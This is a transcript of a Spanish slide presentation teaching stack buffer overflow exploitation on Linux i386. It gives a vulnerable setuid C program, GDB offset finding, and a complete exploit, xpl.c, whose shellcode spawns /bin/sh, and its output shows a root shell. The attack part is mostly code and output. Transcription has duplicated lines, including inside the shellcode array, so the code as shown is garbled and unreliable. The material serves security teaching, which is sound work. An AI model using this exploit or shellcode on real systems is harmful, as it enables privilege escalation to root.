La descarga está en progreso. Por favor, espere

La descarga está en progreso. Por favor, espere

STACK BUFFERS OVERFLOWS. Linux con nucleos 2.4 & 2.6 en arquitectura i386 y compatibles. strcpy(); ANSI C (string.h) David Reguera García.

Presentaciones similares


Presentación del tema: "STACK BUFFERS OVERFLOWS. Linux con nucleos 2.4 & 2.6 en arquitectura i386 y compatibles. strcpy(); ANSI C (string.h) David Reguera García."— Transcripción de la presentación:

1 STACK BUFFERS OVERFLOWS. Linux con nucleos 2.4 & 2.6 en arquitectura i386 y compatibles. strcpy(); ANSI C (string.h) David Reguera García.

2 Índice Presentación. Presentación. Conocimientos previos. Conocimientos previos. ¿Qué es un buffer overflow? ¿Qué es un buffer overflow? ¿Qué es un stack buffer overflow? ¿Qué es un stack buffer overflow? ¿Por qué en i386 y nucleos 2.4/2.6? ¿Por qué en i386 y nucleos 2.4/2.6? ¿Qué son los exploits? ¿Qué son los exploits? ¿Qué es una shellcode? ¿Qué es una shellcode? Demostración de explotación Demostración de explotación Solución. Solución. Despedida Despedida

3 Conocimientos previos. Base sólida de ASM, sintaxis AT&T. Base sólida de ASM, sintaxis AT&T. Conocimientos ANSI C y programación. Conocimientos ANSI C y programación. Nivel usuario de linux. Nivel usuario de linux. Depurador y funciones. Depurador y funciones. Conocer GDB. Conocer GDB.

4 Demostración de una explotación. abo1.c #include int main( int argc, char *argv[] ) { char buffer[50]; if ( argc > 1 ) strcpy( buffer, argv[1] ); return 0; }

5 Demostración de una explotación. root@sys [/home/fr33project]# gcc –o abo1 abo1.c root@sys [/home/fr33project]# gcc –o abo1 abo1.c root@sys [/home/fr33project]# chmod u+s abo1 root@sys [/home/fr33project]# chmod u+s abo1 root@sys [/home/fr33project]# su fr33project root@sys [/home/fr33project]# su fr33project fr33project [/home/fr33project]#./abo1 `perl –e ‘print “A” x 80’` fr33project [/home/fr33project]#./abo1 `perl –e ‘print “A” x 80’` Segmentation Fault. Segmentation Fault.

6 Demostración de una explotación. La pila con strcpy: La pila con strcpy: Bytes: 4 4 50 Nombre: %eip %esp buffer  Entrada de datos.

7 Demostración de una explotación. Como queremos la pila: Como queremos la pila: Bytes: 4 4 50 Nombre: [%eip] [%esp] [buffer] Valor: [ SC ] [ Shellcode ]

8 Demostración de una explotación. Como quedará la pila: Como quedará la pila: Bytes: 4 4 72 Nombre: [%eip] [%esp] [buffer y alineamiento] Valor: [ SC ] [ Shellcode y NOPS ]

9 Demostración de una explotación. Comprobando espacio hasta sobreescribir %eip: Comprobando espacio hasta sobreescribir %eip: fr33project [/home/fr33project]# gdb abo1 (gdb) r `perl -e 'print "A" x 70'` Program exited normally. … … (gdb) r `perl -e 'print "A" x 80'` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()

10 Demostración de una explotación. Creando el exploit: 1) Shellcode de 51 bytes. 2) 25 NOPS. 3) Dirección de SC 4 bytes.

11 Demostración de una explotación. xpl.c xpl.c #include #include int main( void ) { char sc[]= "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33” “\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b” “\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b” “\x56\x34\x12\x35\x10\x56\x34\x12” “\x56\x34\x12\x35\x10\x56\x34\x12” “\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0” “\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0” “\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh"; “\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

12 Demostración de una explotación. xpl.c xpl.c int i; char buff[80]; for ( i = 0; i < 26; i++ ) buff[i] = '\x90'; for ( i = 26; i < 76; i++ ) buff[i] = sc[i-26];

13 Demostración de una explotación. xpl.c xpl.c buff[79] = 0xbf; // Dirección cualquiera. buff[78] = 0xff; buff[77] = 0xff; buff[76] = 0xff; execl( "./abo1", "abo1", buff, NULL ); return 0; }

14 Demostración de una explotación. fr33project [/home/fr33project]# gcc –o xpl xpl.c fr33project [/home/fr33project]# gcc –o xpl xpl.c fr33project [/home/fr33project]# gdb xpl fr33project [/home/fr33project]# gdb xpl (gdb) r Starting program: /home/fr33project/esi/xpl Program received signal SIGSEGV, Segmentation fault. 0xffffffbf in ?? ()

15 Demostración de una explotación. (gdb) x/30xw $esp-100 (gdb) x/30xw $esp-100 0xbffff80c: 0x080483c1 0xbffff820 0xbffffa24 0xb80009b8 0xbffff81c: 0xbffff8f4 0x90909090 0x90909090 0x90909090 0xbffff82c: 0x90909090 0x90909090 0x90909090 0x24eb9090 0xbffff83c: 0x891e8d5e 0xd2330b5e 0x89075689 0x1bb80f56 0xbffff84c: 0x35123456 0x12345610 0x8b0b4e8d 0x3380cdd1 0xbffff85c: 0x80cd40c0 0xffffd7e8 0x69622fff 0x68732f6e 0xbffff86c: 0xffffffbf 0x0177ff8e 0xbffff8e0 0xbf0009b8 0xbffff87c: 0x00000000 0xb7fd9038 (gdb)

16 Demostración de una explotación. Adaptando el xpl.c: Adaptando el xpl.c: buff[79] = 0xbf; buff[78] = 0xff; buff[77] = 0xf8; buff[76] = 0x3c;

17 Demostración de una explotación. fr33project [/home/fr33project]# gcc –o xpl xpl.c fr33project [/home/fr33project]# gcc –o xpl xpl.c fr33project [/home/fr33project]# id fr33project [/home/fr33project]# id uid=1000(fr33project) gid=1000(fr33project). fr33project [/home/fr33project]#./xpl fr33project [/home/fr33project]#./xpl sh-3.00# id sh-3.00# id uid=1000(fr33project) gid=1000(fr33project) euid=0(root)

18 Solución Una buena metodología. Una buena metodología. Usar strncpy. Usar strncpy.

19 Despedida. Direcciones con información: Direcciones con información: http://www.enye-sec.org http://www.enye-sec.org http://www.enye-sec.org http://www.digitalsec.net \ http://www.digitalsec.es http://www.digitalsec.net \ http://www.digitalsec.es http://www.digitalsec.nethttp://www.digitalsec.es http://www.digitalsec.nethttp://www.digitalsec.es http://www.7a69ezine.org http://www.7a69ezine.org http://www.7a69ezine.org http://www.kernelpanik.org http://www.kernelpanik.org http://www.kernelpanik.org http://www.phrack.org http://www.phrack.org http://www.phrack.org Agradecimientos: Agradecimientos: #blackhats 2003 ~ 2004, IRC-HISPANO. #blackhats 2003 ~ 2004, IRC-HISPANO.


Descargar ppt "STACK BUFFERS OVERFLOWS. Linux con nucleos 2.4 & 2.6 en arquitectura i386 y compatibles. strcpy(); ANSI C (string.h) David Reguera García."

Presentaciones similares


Anuncios Google